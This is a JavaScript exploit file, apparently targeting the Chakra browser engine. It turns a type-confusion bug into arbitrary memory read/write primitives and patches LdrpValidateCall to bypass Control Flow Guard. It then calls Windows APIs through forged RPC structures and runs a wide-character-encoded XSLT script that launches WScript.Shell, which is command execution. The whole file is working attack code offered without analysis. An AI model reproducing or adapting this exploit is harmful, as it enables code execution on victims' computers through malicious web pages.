dataview1 = new DataView(new ArrayBuffer(0x100)); dataview2 = new DataView(new ArrayBuffer(0x100000)); dataview2.smth = "Trigger"; // ========== Utility Functions ========== function SignedDwordToUnsignedDword(sd) { return (sd < 0) ? sd + 0x100000000 : sd; } function caclAddress(addr_lo, addr_hi){ value = (SignedDwordToUnsignedDword(addr_hi) * 0x100000000) + SignedDwordToUnsignedDword(addr_lo); return value; } function writeValues64(address, value){ for (let i = 0; i < value.length; i += 1) { offset = (0x08 * i); writePrimitive64(address + offset, value[i]); } } function writeValues32(address, value){ for (let i = 0; i < value.length; i += 1) { offset = (0x04 * i); writePrimitive32(address + offset, value[i]); } } function writePrimitive64(address, value){ dataview1.setUint32(0x38, (address & 0xFFFFFFFF), true); // 0 - 32bit dataview1.setUint32(0x3c, ((address / 0x100000000) & 0xFFFFFFFF), true); // 33 - 64bit dataview2.setUint32(0x00, (value & 0xFFFFFFFF), true); dataview2.setUint32(0x04, ((value / 0x100000000) & 0xFFFFFFFF), true); } function writePrimitive32(address, value){ dataview1.setUint32(0x38, (address & 0xFFFFFFFF), true); // 0 - 32bit dataview1.setUint32(0x3c, ((address / 0x100000000) & 0xFFFFFFFF), true); // 33 - 64bit dataview2.setUint32(0x00, (value & 0xFFFFFFFF), true); } function readPrimitive64(address){ dataview1.setUint32(0x38, (address & 0xFFFFFFFF), true); dataview1.setUint32(0x3c, ((address / 0x100000000) & 0xFFFFFFFF), true); lo = SignedDwordToUnsignedDword(dataview2.getUint32(0x00, true)); hi = SignedDwordToUnsignedDword(dataview2.getUint32(0x04, true)); value = (hi * 0x100000000) + lo; return value } function readPrimitive32(address){ dataview1.setUint32(0x38, (address & 0xFFFFFFFF), true); dataview1.setUint32(0x3c, ((address / 0x100000000) & 0xFFFFFFFF), true); lo = SignedDwordToUnsignedDword(dataview2.getUint32(0x00, true)); return lo } function getString(addr) { var str = ""; var value = 0; while(true) { value = readPrimitive32(addr) & 0xFF; if(value == 0) { break; } else { str += String.fromCharCode(value); } addr += 1; } return str; } function lookup_func(mod_base, func_name) { var pe_offset = readPrimitive32(mod_base + 0x3C); var export_table = mod_base + pe_offset + 0x88; var export_directory = readPrimitive32(export_table) + mod_base; var address_of_names = readPrimitive32(export_directory + 0x20) + mod_base; var number_of_names = readPrimitive32(export_directory + 0x18); var ordinals_table = readPrimitive32(export_directory + 0x24) + mod_base; var address_table = readPrimitive32(export_directory + 0x1C) + mod_base; while(true) { number_of_names--; name_ptr = readPrimitive32(address_of_names + number_of_names * 4) + mod_base; name_str = getString(name_ptr); if(name_str == func_name) { ordinal = (readPrimitive32(ordinals_table + number_of_names * 2)) & 0xFFFF; func_addr = readPrimitive32(address_table + ordinal * 4) + mod_base; return func_addr; } } } // ========= Parallel DLL Loading Functions ========== function changeMemoryPrivRW(ntdll_base, buffer_addr, target_address){ const ldrp_work_queue = ntdll_base + 0x1652d0; // Make fake WorkQueue for Parallel DLL Loading const workqueue_listentry = buffer_addr + 0x40; const head = readPrimitive64(ldrp_work_queue); const tail = readPrimitive64(ldrp_work_queue + 0x08); // Insert tail to new queue writePrimitive64(workqueue_listentry, head); writePrimitive64(workqueue_listentry + 0x08, tail); writePrimitive64(tail, workqueue_listentry); writePrimitive64(ldrp_work_queue + 0x08, workqueue_listentry); // Avoid Acesss Violation writePrimitive64(buffer_addr + 0x28, buffer_addr); writePrimitive64(buffer_addr + 0x38, buffer_addr + 0x08); writePrimitive64(buffer_addr + 0xa0, buffer_addr + 0x18); writePrimitive64(buffer_addr + 0x50, buffer_addr + 0x20); writePrimitive64(buffer_addr + 0x100, 0x0); // Change Target Protection writePrimitive64(buffer_addr + 0x68, target_address); // rdx -> BaseAddress writePrimitive64(buffer_addr + 0x70, 0x200); // r8 -> RegionSize writePrimitive64(buffer_addr + 0x88, 0x04); // r9: 0x04 = RW -> NewProtection // Check Target Protection is already changed while(true) { check_tail = readPrimitive64(ldrp_work_queue + 0x08); if(check_tail != workqueue_listentry) { break; } } } // ========= Patch Function ========== function patchLdrpValidateCall(buffer_addr, rpcrt4_base, ntdll_base){ ldrp_validate_call_ptr = rpcrt4_base + 0xed508; changeMemoryPrivRW(ntdll_base ,buffer_addr, ldrp_validate_call_ptr); ldrp_validate_call_ret_ptr = ntdll_base + 0x8f1aa; writePrimitive64(ldrp_validate_call_ptr, ldrp_validate_call_ret_ptr); } // ========= Create RPC Message ========== function createRpcMessage(buffer_addr, rpcrt4_base, chakra_base){ // prompt("[>] createRpcMessage Start"); // Create JsrtExternalObject for call Apis jsrt_externalobject_base = buffer_addr + 0x1000; jsrt_externalobject_base_ptr = buffer_addr + 0x1200; writePrimitive64(jsrt_externalobject_base_ptr, jsrt_externalobject_base); jsrt_externaltype_base = buffer_addr + 0x10010; jsrt_externaltype_javascript_library = jsrt_externaltype_base + 0x08; unknown_structure_1 = buffer_addr + 0x2100; unknown_structure_2 = buffer_addr + 0x2200; // Write jsrt_externalobject_base_ptr to dataview2 auxSlots field (Originally, Stored string pointer) dataview1.setUint32(0x10, (jsrt_externalobject_base_ptr & 0xFFFFFFFF), true); dataview1.setUint32(0x14, ((jsrt_externalobject_base_ptr / 0x100000000) & 0xFFFFFFFF), true); writePrimitive64(jsrt_externalobject_base + 0x08, jsrt_externaltype_base); ndrservercall2 = rpcrt4_base + 0x17630; writePrimitive64(jsrt_externaltype_base + 0x18, ndrservercall2); // To Avoid Access Violation writePrimitive64(jsrt_externaltype_base + 0x08, jsrt_externaltype_javascript_library); writePrimitive64(jsrt_externaltype_javascript_library + 0x440, unknown_structure_1); writePrimitive64(unknown_structure_1 + 0x370, unknown_structure_2); // Create _RPC_MESSAGE for call Apis // prompt("[>] createRpcMessage Start build message"); malloc = readPrimitive64(chakra_base + 0x5b5220); free = readPrimitive64(chakra_base + 0x5b5230); buffer_ptr = buffer_addr + 0x3000; dispatch_table = buffer_addr + 0x4000; formatstring = buffer_addr + 0x4200; rpc_message_base = buffer_addr + 0x1000; vtable_base = buffer_addr + 0x3500; writePrimitive64(vtable_base, rpcrt4_base + 0xe2208); writePrimitive32(vtable_base + 0x08, 0x89abcdef); writePrimitive32(vtable_base + 0x0c, 0x40); writePrimitive64(rpc_message_base, vtable_base); // RPC_MESSAGE: Handle proc_num = 0x00; writePrimitive32(rpc_message_base + 0x1c, proc_num); // RPC_MESSAGE: ProcNum rpc_flags = 0x1000; writePrimitive64(rpc_message_base + 0x48, rpc_flags); // RPC_MESSAGE: RpcFlags // Create RPC_SERVER_INTERFACE rpc_server_interface_base = buffer_addr + 0x3200; writePrimitive64(rpc_message_base + 0x28, rpc_server_interface_base); // RPC_MESSAGE: RpcInterfaceInformation length = 0x60; writePrimitive32(rpc_server_interface_base, length); // RPC_SERVER_INTERFACE: Length midl_server_info_base = buffer_addr + 0x3300; midl_stub_desc_base = buffer_addr + 0x3400; writePrimitive64(rpc_server_interface_base + 0x50, midl_server_info_base); // RPC_SERVER_INTERFACE:InterpreterInfo flags = 0x4000000; writePrimitive64(rpc_server_interface_base + 0x58, flags); // RPC_SERVER_INTERFACE: Flags writePrimitive64(midl_server_info_base, midl_stub_desc_base); // MIDL_SERVER_INFO: pStubDesc // prompt("[>] createRpcMessage Start build MIDL_STUB_DESC"); // Create MIDL_STUB_DESC writePrimitive64(midl_stub_desc_base + 0x08, malloc); // MIDL_STUB_DESC: pfnAlloc writePrimitive64(midl_stub_desc_base + 0x10, free); // MIDL_STUB_DESC: pfnFree format_types = buffer_addr + 0x3600; writePrimitive64(midl_stub_desc_base + 0x40, format_types); // MIDL_STUB_DESC: pFormatTypes writePrimitive64(midl_stub_desc_base + 0x4c, 0x50002); // MIDL_STUB_DESC: Version writePrimitive64(midl_server_info_base + 0x08, dispatch_table); // MIDL_SERVER_INFO: DispatchTable writePrimitive64(midl_server_info_base + 0x10, formatstring); // MIDL_SERVER_INFO: ProcString formatstringvalue = [0x4832, 0, 0x600083, 0x7440010, 0x10a, 0, 0x480000, 0xb0000, 0x80048, 0x48000b, 0xb0010, 0x180048, 0x48000b, 0xb0020, 0x280048, 0x70000b, 0xb0078]; writeValues32(formatstring, formatstringvalue); fmtstringoffset = buffer_addr + 0x9400; writePrimitive64(midl_server_info_base + 0x18, fmtstringoffset); // MIDL_SERVER_INFO: FmtStringOffset // prompt("[>] createRpcMessage Finished"); } // ========= Call API by RPC ========== function callApiByRpc(buffer_addr, function_addr, arg1 = 0x00, arg2 = 0x00, arg3 = 0x00, arg4 = 0x00, arg5 = 0x00, arg6 = 0x00){ // Avoid Exception unknown_structure_2 = buffer_addr + 0x2200; writePrimitive32(unknown_structure_2 + 0x139, 0x01); dispatch_table = buffer_addr + 0x4000; rpc_message_base = buffer_addr + 0x1000; buffer_ptr = buffer_addr + 0x3000; buffer = [arg1, arg2, arg3, arg4, arg5, arg6]; buffer_length = 0x30; writePrimitive64(rpc_message_base + 0x10, buffer_ptr); // RPC_MESSAGE: Buffer writePrimitive32(rpc_message_base + 0x18, buffer_length); // RPC_MESSAGE: BufferLength writeValues64(buffer_ptr, buffer); writePrimitive64(dispatch_table, function_addr); // Call Function dataview2.smth(); rpc_message_base = buffer_addr + 0x1000; output_ptr = readPrimitive64(rpc_message_base + 0x10); result = readPrimitive64(output_ptr); return result; } // ========= Find MZ Header ========== function findMzHeader(address) { let range = 0x1000000; // 1000 pages for (let i = 0; i < range; i += 1) { let offset = 0x02 * i; let addr = address - offset; let value = readPrimitive32(addr); if (value === 0x00905a4d) { // "MZ" return addr; } } return null; // Not found } // ========= Find not exported Function ========== function findFunction(address, hash, first_dword, depth){ let range = 0x1000000; // 1000 pages for (let i = 0; i < range; i += 1) { let offset = 0x04 * i; let addr = address + offset; let value = readPrimitive32(addr); if (value === first_dword) { sum = value; for(let j = 1; j < depth; j += 1){ sum += readPrimitive32(addr + (0x04 * j)); } if (hash == sum){ return addr; } } } return null; // Not found } // ========= Calculate Call Address ========== function callCalcurate(address, before_offset, after_offset){ before_call_offset = address + before_offset; // prompt("before_call_offset", before_call_offset.toString(16)); relative_offset = readPrimitive32(before_call_offset); after_call_offset = address + after_offset; // prompt("after_call_offset", after_call_offset.toString(16)); calc_addr = relative_offset + after_call_offset; return calc_addr; } // ========= Activate Manager ========== const MANAGER_INFO = { BadgeUpdateManager: { // L"Windows.UI.Notifications.BadgeUpdateManager" wstr: [0x00690057,0x0064006E,0x0077006F,0x002E0073,0x00490055,0x004E002E,0x0074006F,0x00660069,0x00630069,0x00740061,0x006F0069,0x0073006E,0x0042002E,0x00640061,0x00650067,0x00700055,0x00610064,0x00650074,0x0061004D,0x0061006E,0x00650067,0x00000072], length: 0x2b, guid: [0x33400faa,0x41056dd5,0x509bbcae,0xda92a4fc], // IBadgeNotificationsManagerStatics vtable_offset: 0x48, // Offset for GetTemplateContent }, TileFlyoutUpdateManager: { // L"Windows.UI.Notifications.TileFlyoutUpdateManager" wstr: [0x00690057,0x0064006E,0x0077006F,0x002E0073,0x00490055,0x004E002E,0x0074006F,0x00660069,0x00630069,0x00740061,0x006F0069,0x0073006E,0x0054002E,0x006C0069,0x00460065,0x0079006C,0x0075006F,0x00550074,0x00640070,0x00740061,0x004D0065,0x006E0061,0x00670061,0x00720065,0x00000000], length: 0x30, guid: [0x04363b0b,0x4b991ac0,0xa8ade788,0x483d953e], // ITileFlyoutUpdateManagerStatics vtable_offset: 0x48, // Offset for GetTemplateContent }, ToastNotificationManager: { // L"Windows.UI.Notifications.ToastNotificationManager" wstr: [0x00690057,0x0064006E,0x0077006F,0x002E0073,0x00490055,0x004E002E,0x0074006F,0x00660069,0x00630069,0x00740061,0x006F0069,0x0073006E,0x0054002E,0x0061006F,0x00740073,0x006F004E,0x00690074,0x00690066,0x00610063,0x00690074,0x006E006F,0x0061004D,0x0061006E,0x00650067,0x00000072], length: 0x31, guid: [0x50ac103f,0x4598d235,0xfe98efbb,0xd43a1a4d], // IToastNotificationManagerStatics vtable_offset: 0x40, // Offset for GetTemplateContent }, }; function activateManager(manager_name, buffer_addr, string_ptr, windowscreatestringreference, rogetactivation) { const { wstr, length, guid, vtable_offset } = MANAGER_INFO[manager_name]; const out_string_header_ptr = buffer_addr + 0x4400; const out_string_ptr = buffer_addr + 0x4420; writeValues32(string_ptr, wstr); callApiByRpc(buffer_addr, windowscreatestringreference, string_ptr, length, out_string_header_ptr, out_string_ptr); const refiid_ptr = buffer_addr + 0x4500; writeValues32(refiid_ptr, guid); const factory_handle = buffer_addr + 0x4580; callApiByRpc(buffer_addr, rogetactivation, out_string_header_ptr, refiid_ptr, factory_handle); const factory_obj_ptr = readPrimitive64(factory_handle); const factory_vtable_ptr = readPrimitive64(factory_obj_ptr); const gettemplatecontent = readPrimitive64(factory_vtable_ptr + vtable_offset); const ixml_document_ptr = buffer_addr + 0x4600; callApiByRpc(buffer_addr, gettemplatecontent, factory_obj_ptr, 0x01, ixml_document_ptr); return { factory_handle, ixml_document_ptr }; } // ========= Execute Code (Main Entry Point) ========== function executeCode(TypeConfusionPoC, mode){ TypeConfusionPoC(dataview1, dataview2); // prompt("[>] Hi, TypeConfusion."); const vtable_addr = caclAddress( dataview1.getUint32(0x00, true), dataview1.getUint32(0x04, true) ); const buffer_addr = caclAddress( dataview1.getUint32(0x38, true), dataview1.getUint32(0x3c, true) ); // Get addresses of mandotory items const chakra_base = findMzHeader(vtable_addr); // ntdll base const call_ntdll = findFunction(chakra_base, 0x1330d85e7, 0x49dc8b4c, 4); dispatch_call_ptr = callCalcurate(call_ntdll, 0x32, 0x36); dispatch_call = readPrimitive64(dispatch_call_ptr); const ntdll_base = findMzHeader(dispatch_call); // prompt("ntdll_base", ntdll_base.toString(16)); // rpcrt4 base const call_rpcrt4 = findFunction(chakra_base, 0x217e7e425, 0x45dc8b4c, 8); ndr_client_call_ptr = callCalcurate(call_rpcrt4, 0x38, 0x4c); ndr_client_call = readPrimitive64(ndr_client_call_ptr); const rpcrt4_base = findMzHeader(ndr_client_call); // prompt("rpcrt4_base", rpcrt4_base.toString(16)); // kernel32 base const call_kernel32 = findFunction(chakra_base, 0x2644da6a9, 0x2444894c, 8); delete_atom_call_ptr = callCalcurate(call_kernel32, 0x98, 0x9c); delete_atom_call = readPrimitive64(delete_atom_call_ptr); const kernel32_base = findMzHeader(delete_atom_call); // prompt("kernel32_base", kernel32_base.toString(16)); const getmodulehandlea = lookup_func(kernel32_base, "GetModuleHandleA"); // prompt("getmodulehandlea", getmodulehandlea.toString(16)); const getprocaddress = lookup_func(kernel32_base, "GetProcAddress"); // prompt("getprocaddress", getprocaddress.toString(16)); // Noping CFG patchLdrpValidateCall(buffer_addr, rpcrt4_base, ntdll_base); // Call API with arguments createRpcMessage(buffer_addr, rpcrt4_base, chakra_base); string_ptr = buffer_addr + 0x4300; combase_dll_str = [0x626d6f63, 0x2e657361, 0x006c6c64]; // combase.dll writeValues32(string_ptr, combase_dll_str); // Execute API By using RPC method combase_dll = callApiByRpc(buffer_addr, getmodulehandlea, string_ptr); // prompt("[>] GetModuleHandleA -> combase_dll address is:", combase_dll.toString(16)); rogetactivation_str = [0x65476f52, 0x74634174, 0x74617669, 0x466e6f69, 0x6f746361, 0x00007972]; // combase!RoGetActivationFactory writeValues32(string_ptr, rogetactivation_str); rogetactivation = callApiByRpc(buffer_addr, getprocaddress, combase_dll, string_ptr); // prompt("[>] GetProcAddress -> RoGetActivationFactory address is:", rogetactivation.toString(16)); windowscreatestringreference_str = [0x646e6957, 0x4373776f, 0x74616572, 0x72745365, 0x52676e69, 0x72656665, 0x65636e65]; // combase!WindowsCreateStringReference writeValues32(string_ptr, windowscreatestringreference_str); windowscreatestringreference = callApiByRpc(buffer_addr, getprocaddress, combase_dll, string_ptr); // prompt("[>] GetProcAddress -> WindowsCreateStringReference address is:", windowscreatestringreference.toString(16)); // Activate the manager if (mode === 'ToastNotificationManager') { prompt("[>] Hi, this is ToastNotificationManager!"); } else if (mode === 'BadgeUpdateManager') { prompt("[>] Hi, this is BadgeUpdateManager!"); } else if (mode === 'TileFlyoutUpdateManager') { prompt("[>] Hi, this is TileFlyoutUpdateManager!"); } const { factory_handle, ixml_document_ptr } = activateManager( mode, buffer_addr, string_ptr, windowscreatestringreference, rogetactivation ); // prompt("[>] Factory Instance Handle is:", factory_handle.toString(16)); // prompt("[>] ixml_document Instance Handle is:", ixml_document_ptr.toString(16)); // Call Doc.As(&Dom) ixmldom_document_ptr = buffer_addr + 0x4680; ixml_obj_ptr = readPrimitive64(ixml_document_ptr); ixml_vtable_ptr = readPrimitive64(ixml_obj_ptr); guid_ptr = buffer_addr + 0x4500; guid = [0x2933bf95, 0x11d27b36, 0xc0000eb2, 0x603e984f]; // GUID: 2933bf95_7b36_11d2_b20e_00c04f983e60 writeValues32(guid_ptr, guid); as_ixmldom = readPrimitive64(ixml_vtable_ptr); callApiByRpc(buffer_addr, as_ixmldom, ixml_obj_ptr, guid_ptr, ixmldom_document_ptr); // prompt("[>] ixmldom_document Instance Handle is:", ixmldom_document_ptr.toString(16)); // Call LoadXML oleaut_str_ptr = buffer_addr + 0x4700; oleaut_str = [0x61656c6f, 0x32337475, 0x6c6c642e, 0x00000000]; // OleAut32.dll writeValues32(oleaut_str_ptr, oleaut_str); oleaut_base = callApiByRpc(buffer_addr, getmodulehandlea, oleaut_str_ptr); // prompt("[>] oleaut_base is:", oleaut_base.toString(16)); sysalloc_str_ptr = buffer_addr + 0x4750; sysalloc_str = [0x41737953, 0x636f6c6c, 0x69727453, 0x0000676e]; // SysAllocString writeValues32(sysalloc_str_ptr, sysalloc_str); sysalloc_base = callApiByRpc(buffer_addr, getprocaddress, oleaut_base, sysalloc_str_ptr); // prompt("[>] sysalloc_base is:", sysalloc_base.toString(16)); xml_str_ptr = buffer_addr + 0x4800; xml_str = [0x0078003C, 0x006C0073, 0x0073003A, 0x00790074, 0x0065006C, 0x00680073, 0x00650065, 0x00200074, 0x00650076, 0x00730072, 0x006F0069, 0x003D006E, 0x00310027, 0x0030002E, 0x00200027, 0x006D0078, 0x006E006C, 0x003A0073, 0x00730078, 0x003D006C, 0x00680027, 0x00740074, 0x003A0070, 0x002F002F, 0x00770077, 0x002E0077, 0x00330077, 0x006F002E, 0x00670072, 0x0031002F, 0x00390039, 0x002F0039, 0x00530058, 0x002F004C, 0x00720054, 0x006E0061, 0x00660073, 0x0072006F, 0x0027006D, 0x00780020, 0x006C006D, 0x0073006E, 0x006D003A, 0x00780073, 0x006C0073, 0x0027003D, 0x00720075, 0x003A006E, 0x00630073, 0x00650068, 0x0061006D, 0x002D0073, 0x0069006D, 0x00720063, 0x0073006F, 0x0066006F, 0x002D0074, 0x006F0063, 0x003A006D, 0x00730078, 0x0074006C, 0x00200027, 0x006D0078, 0x006E006C, 0x003A0073, 0x00730075, 0x00720065, 0x0027003D, 0x00720075, 0x003A006E, 0x00620061, 0x00270063, 0x0020003E, 0x006D003C, 0x00780073, 0x006C0073, 0x0073003A, 0x00720063, 0x00700069, 0x00200074, 0x0061006C, 0x0067006E, 0x00610075, 0x00650067, 0x0027003D, 0x0053004A, 0x00720063, 0x00700069, 0x00270074, 0x00690020, 0x0070006D, 0x0065006C, 0x0065006D, 0x0074006E, 0x002D0073, 0x00720070, 0x00660065, 0x00780069, 0x0027003D, 0x00730075, 0x00720065, 0x003E0027, 0x00750066, 0x0063006E, 0x00690074, 0x006E006F, 0x00780020, 0x006C006D, 0x006E0028, 0x0029006C, 0x006E007B, 0x00770065, 0x00410020, 0x00740063, 0x00760069, 0x00580065, 0x0062004F, 0x0065006A, 0x00740063, 0x00270028, 0x00530057, 0x00720063, 0x00700069, 0x002E0074, 0x00680053, 0x006C0065, 0x0027006C, 0x002E0029, 0x00780045, 0x00630065, 0x00270028, 0x006F006E, 0x00650074, 0x00610070, 0x00270064, 0x003B0029, 0x00650072, 0x00750074, 0x006E0072, 0x00270020, 0x003B0027, 0x003C007D, 0x006D002F, 0x00780073, 0x006C0073, 0x0073003A, 0x00720063, 0x00700069, 0x003E0074, 0x003C0020, 0x00730078, 0x003A006C, 0x00650074, 0x0070006D, 0x0061006C, 0x00650074, 0x006D0020, 0x00740061, 0x00680063, 0x0027003D, 0x0027002F, 0x0020003E, 0x0078003C, 0x006C0073, 0x0076003A, 0x006C0061, 0x00650075, 0x006F002D, 0x00200066, 0x00650073, 0x0065006C, 0x00740063, 0x0027003D, 0x00730075, 0x00720065, 0x0078003A, 0x006C006D, 0x002E0028, 0x00270029, 0x003E002F, 0x003C0020, 0x0078002F, 0x006C0073, 0x0074003A, 0x006D0065, 0x006C0070, 0x00740061, 0x003E0065, 0x003C0020, 0x0078002F, 0x006C0073, 0x0073003A, 0x00790074, 0x0065006C, 0x00680073, 0x00650065, 0x003E0074, 0x00000000]; writeValues32(xml_str_ptr, xml_str); bstr_xml = callApiByRpc(buffer_addr, sysalloc_base, xml_str_ptr); load_result_ptr = buffer_addr + 0x5100; ixml_dom_obj_ptr = readPrimitive64(ixmldom_document_ptr); ixml_dom_vtable_ptr = readPrimitive64(ixml_dom_obj_ptr); loadxml = readPrimitive64(ixml_dom_vtable_ptr + 0x208); callApiByRpc(buffer_addr, loadxml, ixml_dom_obj_ptr, bstr_xml, load_result_ptr); result = readPrimitive64(load_result_ptr); // prompt("[>] load_result is:", result.toString(16)); // Call setProperty allow_xslt_str_ptr = buffer_addr + 0x5200; allow_xslt_str = [0x006c0041, 0x006f006c, 0x00580077, 0x006c0073, 0x00530074, 0x00720063, 0x00700069, 0x00000074]; // AllowXsltScript writeValues32(allow_xslt_str_ptr, allow_xslt_str); bstr_allow_xslt = callApiByRpc(buffer_addr, sysalloc_base, allow_xslt_str_ptr); set_property_result = buffer_addr + 0x5300; set_property = readPrimitive64(ixml_dom_vtable_ptr + 0x280); variant_arg_ptr = buffer_addr + 0x5250; writePrimitive32(variant_arg_ptr, 0x0b); writePrimitive32(variant_arg_ptr + 0x08, 0xffffffff); result = callApiByRpc(buffer_addr, set_property, ixml_dom_obj_ptr, bstr_allow_xslt, variant_arg_ptr); // prompt("[>] set_property_result is:", result.toString(16)); // Call transformNode transform_result_ptr = buffer_addr + 0x5400; transform_node = readPrimitive64(ixml_dom_vtable_ptr + 0x118); callApiByRpc(buffer_addr, transform_node, ixml_dom_obj_ptr, ixml_dom_obj_ptr, transform_result_ptr); result = readPrimitive64(transform_result_ptr); prompt("[>] transform_result is:", result.toString(16)); }